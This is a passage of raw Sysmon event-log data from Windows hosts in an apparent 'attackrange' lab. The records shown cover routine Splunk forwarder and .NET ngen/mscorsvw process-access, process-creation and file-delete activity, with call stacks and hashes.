Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000045422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.254{7BD73061-6F82-613B-6B0A-00000000F001}6224C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000045421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.293{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F82-613B-6C0A-00000000F001}6896C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.283{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F82-613B-6C0A-00000000F001}6896C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.283{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F82-613B-6C0A-00000000F001}6896C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.232{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F82-613B-6A0A-00000000F001}2228C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.222{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F82-613B-6A0A-00000000F001}2228C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.222{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F82-613B-6A0A-00000000F001}2228C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.169{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F82-613B-690A-00000000F001}2244C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.144{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F82-613B-690A-00000000F001}2244C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.144{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F82-613B-690A-00000000F001}2244C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.093{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F82-613B-680A-00000000F001}5876C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.073{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F82-613B-680A-00000000F001}5876C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.073{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F82-613B-680A-00000000F001}5876C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.957{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1F3C4208C61566C79CCFBC529B9D3132,SHA256=BAA3C3EAB81D25B803283551846887D79A2A63E2EA31E5FCA7E60E0C7C5FE50C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.876{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F83-613B-7C0A-00000000F001}4696C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.866{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F83-613B-7C0A-00000000F001}4696C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.866{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F83-613B-7C0A-00000000F001}4696C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014005Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:23.029{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E7E11A58A18C5509D5BEB308C38F8CF7,SHA256=68E97F9FE97FF3A8183D185367E27E37548F2BB6D8BD624EDF656EEC698B865F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.816{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F83-613B-7B0A-00000000F001}6492C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.806{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F83-613B-7B0A-00000000F001}6492C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.806{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F83-613B-7B0A-00000000F001}6492C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.656{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F83-613B-7A0A-00000000F001}4424C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.636{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F83-613B-7A0A-00000000F001}4424C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.636{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F83-613B-7A0A-00000000F001}4424C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:23.616{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 